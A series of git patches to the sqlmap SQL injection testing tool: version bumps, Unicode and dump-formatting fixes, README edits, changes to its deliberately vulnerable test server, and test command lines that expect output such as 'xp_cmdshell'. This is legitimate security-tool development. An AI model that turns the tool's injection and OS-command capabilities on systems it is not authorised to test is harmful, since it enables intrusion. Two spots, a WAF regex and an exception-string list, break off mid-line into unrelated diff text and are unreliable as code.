dest="tmpDir", help="Local directory for storing temporary files") + miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", + help="Adjust options for unstable connections") + miscellaneous.add_argument("--update", dest="updateAll", action="store_true", help="Update sqlmap") diff --git a/sqlmap.conf b/sqlmap.conf index 96f9c67999c..07df2c5afee 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -825,14 +825,18 @@ offline = False # Local directory for storing temporary files. tmpDir = -# Simple wizard interface for beginner users. +# Adjust options for unstable connections. # Valid: True or False -wizard = False +unstable = False # Update sqlmap. # Valid: True or False updateAll = False +# Simple wizard interface for beginner users. +# Valid: True or False +wizard = False + # Verbosity level. # Valid: integer between 0 and 6 # 0: Show only error and critical messages From a2ee93344e820e6bad0c668fcfdf8d930b47737d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Oct 2019 15:35:44 +0200 Subject: [PATCH 627/800] Adding Tarsier eyes (future logo) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ede62b5292b..15d8f7f2ab5 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) From 18d22faacda1958db46cecae491b911a1bfe7aa8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 28 Oct 2019 12:30:54 +0100 Subject: [PATCH 628/800] Fixes #3988 --- lib/core/revision.py | 9 +++++++-- lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/revision.py b/lib/core/revision.py index dffae987c87..6988f1a5ece 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -40,9 +40,14 @@ def getRevisionNumber(): with openFile(filePath, "r") as f: content = getText(f.read()) filePath = None + if content.startswith("ref: "): - filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() - else: + try: + filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() + except UnicodeError: + pass + + if filePath is None: match = re.match(r"(?i)[0-9a-f]{32}", content) retVal = match.group(0) if match else None break diff --git a/lib/core/settings.py b/lib/core/settings.py index c3c7d504cb2..36668727bad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.26" +VERSION = "1.3.10.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From eec9cca85b37be4cc96eb70c442a9cee1df5fbb3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Oct 2019 13:52:11 +0100 Subject: [PATCH 629/800] Minor update --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index c9a12de980d..3a5bc2cc47c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1228,7 +1228,7 @@ def _setHTTPAuthentication(): elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " - errMsg += "but did not provide the type" + errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): diff --git a/lib/core/settings.py b/lib/core/settings.py index 36668727bad..acaa50292d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.27" +VERSION = "1.3.10.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a75ab8b1280a18fa6755d5e5ae827fc5b05bdf88 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Oct 2019 15:00:53 +0100 Subject: [PATCH 630/800] Minor improvement of table dump formatting --- lib/core/convert.py | 19 ++++++++++++++++++- lib/core/dump.py | 5 +++-- lib/core/settings.py | 2 +- plugins/generic/entries.py | 3 ++- 4 files changed, 24 insertions(+), 5 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index d7f91101979..51e7d7b8563 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -263,7 +263,7 @@ def getOrds(value): def getUnicode(value, encoding=None, noneToNull=False): """ - Return the unicode representation of the supplied value: + Returns the unicode representation of the supplied value >>> getUnicode('test') == u'test' True @@ -375,3 +375,20 @@ def stdoutEncode(value): retVal = value return retVal + +def getConsoleLength(value): + """ + Returns console width of unicode values + + >>> getConsoleLength("abc") + 3 + >>> getConsoleLength(u"\\u957f\\u6c5f") + 4 + """ + + if isinstance(value, six.text_type): + retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value) + else: + retVal = len(value) + + return retVal \ No newline at end of file diff --git a/lib/core/dump.py b/lib/core/dump.py index 3f7843a60fd..f7ecac69533 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -28,6 +28,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getBytes +from lib.core.convert import getConsoleLength from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf @@ -547,7 +548,7 @@ def dbTableValues(self, tableValues): column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) - blank = " " * (maxlength - len(column)) + blank = " " * (maxlength - getConsoleLength(column)) self._write("| %s%s" % (column, blank), newline=False) @@ -602,7 +603,7 @@ def dbTableValues(self, tableValues): values.append(value) maxlength = int(info["length"]) - blank = " " * (maxlength - len(value)) + blank = " " * (maxlength - getConsoleLength(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: diff --git a/lib/core/settings.py b/lib/core/settings.py index acaa50292d4..c4425ab7cb2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.28" +VERSION = "1.3.10.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 140e820fd75..df0a747eb70 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -25,6 +25,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.convert import getConsoleLength from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -269,7 +270,7 @@ def dumpTable(self, foundData=None): else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' - maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) + maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen From 869adc6fefb15b7fd54665629a78fa2833f8a109 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Oct 2019 15:07:29 +0100 Subject: [PATCH 631/800] Minor update --- lib/core/dump.py | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index f7ecac69533..31ca3032626 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -246,7 +246,7 @@ def dbTables(self, dbTables): if table and isListLike(table): table = table[0] - maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table)))) + maxlength = max(maxlength, getConsoleLength(unsafeSQLIdentificatorNaming(getUnicode(table)))) lines = "-" * (int(maxlength) + 2) @@ -267,7 +267,7 @@ def dbTables(self, dbTables): table = table[0] table = unsafeSQLIdentificatorNaming(table) - blank = " " * (maxlength - len(normalizeUnicode(table) or getUnicode(table))) + blank = " " * (maxlength - getConsoleLength(getUnicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) @@ -362,7 +362,7 @@ def dbTablesCount(self, dbTables): for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: - maxlength1 = max(maxlength1, len(normalizeUnicode(table) or getUnicode(table))) + maxlength1 = max(maxlength1, getConsoleLength(getUnicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") @@ -388,7 +388,7 @@ def dbTablesCount(self, dbTables): tables.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) for table in tables: - blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or getUnicode(table))) + blank1 = " " * (maxlength1 - getConsoleLength(getUnicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) diff --git a/lib/core/settings.py b/lib/core/settings.py index c4425ab7cb2..c3fa9bbc80e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.29" +VERSION = "1.3.10.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4ede1b80a416de264ca3eb7a2bf7c992bad5bded Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Oct 2019 08:31:20 +0100 Subject: [PATCH 632/800] Minor update --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c3fa9bbc80e..cb64ff5a7d9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.30" +VERSION = "1.3.10.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -724,7 +724,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' From a422c9bc451bf05100e58f9a809d59519a57154b Mon Sep 17 00:00:00 2001 From: AnonProgrammer007 <44278258+AnonProgrammer007@users.noreply.github.com> Date: Thu, 31 Oct 2019 02:37:33 -0500 Subject: [PATCH 633/800] Update README.md (#3992) --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 15d8f7f2ab5..26bc04a8a0e 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. +sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. **The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).** @@ -11,7 +11,7 @@ Screenshots ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. +You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. Installation ---- @@ -36,7 +36,7 @@ To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). -To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- From 7c9c6e4a595313c238e128bc5b2d6b887184080a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Oct 2019 16:57:05 +0100 Subject: [PATCH 634/800] Minor update (thank you Hyundai) --- lib/core/settings.py | 2 +- thirdparty/identywaf/data.json | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cb64ff5a7d9..26e10e9b2e1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.31" +VERSION = "1.3.10.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json index dd0d6f4a29e..de90fdbbec4 100644 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -161,10 +161,11 @@ "barracuda": { "company": "Barracuda Networks", "name": "Barracuda", - "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page", + "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page| - + + @@ -242,6 +243,9 @@ + diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 401d77c473b..d1f954b1f1b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -16,7 +16,9 @@ import threading import traceback -if sys.version_info >= (3, 0): +PY3 = sys.version_info >= (3, 0) + +if PY3: from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -169,7 +171,7 @@ def do_REQUEST(self): self.end_headers() else: self.end_headers() - self.wfile.write(output.encode("utf8")) + self.wfile.write(output.encode("utf8") if PY3 else output) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") diff --git a/lib/core/common.py b/lib/core/common.py index eb3e8673069..944c208c349 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3617,16 +3617,20 @@ def decodeIntToUnicode(value): try: if value > 255: _ = "%x" % value + if len(_) % 2 == 1: _ = "0%s" % _ + raw = decodeHex(_) if Backend.isDbms(DBMS.MYSQL): + # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): - retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): + # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 + retVal = getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 16320f0063a..032854bc644 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.114" +VERSION = "1.3.11.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index de1764c0a2b..db1c8712a87 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -65,6 +65,8 @@ def vulnTest(): """ TESTS = ( + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index fcbaf4adce8..5a5b1e0e177 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -7,8 +7,10 @@ import re +from lib.core.common import Backend from lib.core.convert import getBytes from lib.core.data import conf +from lib.core.enums import DBMS from lib.core.exception import SqlmapUndefinedMethod class Syntax(object): @@ -31,7 +33,7 @@ def _escape(expression, quote=True, escaper=None): if replacement != original: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal: + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) From 04ce6ba91b7d772d1496f5f79c0d6d219dd3c702 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 11:14:41 +0100 Subject: [PATCH 761/800] Minor patch --- extra/vulnserver/vulnserver.py | 9 +++++---- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index d1f954b1f1b..22fc1df1ccb 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,6 +17,7 @@ import traceback PY3 = sys.version_info >= (3, 0) +UNICODE_ENCODING = "utf-8" if PY3: from http.client import INTERNAL_SERVER_ERROR @@ -96,7 +97,7 @@ def do_REQUEST(self): self.send_response(INTERNAL_SERVER_ERROR) self.send_header("Connection", "close") self.end_headers() - self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8")) + self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING)) return if hasattr(self, "data"): @@ -127,7 +128,7 @@ def do_REQUEST(self): if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Connection", "close") self.end_headers() self.wfile.write(b"

GET:

link


POST:

ID:

") @@ -171,7 +172,7 @@ def do_REQUEST(self): self.end_headers() else: self.end_headers() - self.wfile.write(output.encode("utf8") if PY3 else output) + self.wfile.write(quote(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") @@ -190,7 +191,7 @@ def do_POST(self): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode("utf8")) + data = unquote_plus(data.decode(UNICODE_ENCODING)) self.data = data self.do_REQUEST() diff --git a/lib/core/settings.py b/lib/core/settings.py index 032854bc644..218b8ab7365 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.115" +VERSION = "1.3.11.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1233573df175e45963a2d6469e5db9f3ee45dc8c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 11:25:38 +0100 Subject: [PATCH 762/800] Removing leftover --- extra/vulnserver/vulnserver.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 22fc1df1ccb..3e234507680 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -172,7 +172,7 @@ def do_REQUEST(self): self.end_headers() else: self.end_headers() - self.wfile.write(quote(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))) + self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING)) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") diff --git a/lib/core/settings.py b/lib/core/settings.py index 218b8ab7365..9fa6825f42e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.116" +VERSION = "1.3.11.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f947c5f76e939415724da47142e3dadb47ac9b00 Mon Sep 17 00:00:00 2001 From: raimundmuc Date: Sat, 30 Nov 2019 22:48:34 +0100 Subject: [PATCH 763/800] Fix regression introduced by b3cdec5 (#4022) --- plugins/dbms/postgresql/filesystem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 41d5ebb3dc6..d21ebf1ec12 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -32,7 +32,7 @@ def stackedReadFile(self, remoteFile): return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) From 20d875a8cea906c0cb94b180d7a3557520cc4057 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 23:10:20 +0100 Subject: [PATCH 764/800] Fixes #4020 --- lib/controller/checks.py | 3 ++- lib/core/common.py | 2 +- lib/core/convert.py | 7 ++++++- lib/core/settings.py | 2 +- 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 02d8989edc2..fab3f29e9ce 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -45,6 +45,7 @@ from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -788,7 +789,7 @@ def genCmpPayload(): logger.info(infoMsg) try: - process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) + process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) process.wait() except Exception as ex: errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) diff --git a/lib/core/common.py b/lib/core/common.py index 944c208c349..7f08066a55e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1970,7 +1970,7 @@ def safeFilepathEncode(filepath): retVal = filepath if filepath and six.PY2 and isinstance(filepath, six.text_type): - retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING) return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py index 51e7d7b8563..1655d3d43be 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -231,6 +231,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): retVal = value + try: + codecs.lookup(encoding) + except LookupError: + encoding = UNICODE_ENCODING + if isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: @@ -391,4 +396,4 @@ def getConsoleLength(value): else: retVal = len(value) - return retVal \ No newline at end of file + return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fa6825f42e..c49b5d5b24a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.117" +VERSION = "1.3.11.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 948903f23269f6ecc4cc46188655401091a53119 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Dec 2019 10:10:58 +0100 Subject: [PATCH 765/800] Fixes #4024 --- lib/core/convert.py | 5 +++++ lib/core/dump.py | 5 +++-- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 1655d3d43be..9551a5e436d 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -31,6 +31,11 @@ from thirdparty import six from thirdparty.six import unichr as _unichr +try: + from html import escape as htmlEscape +except ImportError: + from cgi import escape as htmlEscape + def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value diff --git a/lib/core/dump.py b/lib/core/dump.py index c9c06f672da..69ccd29a35b 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -31,6 +31,7 @@ from lib.core.convert import getConsoleLength from 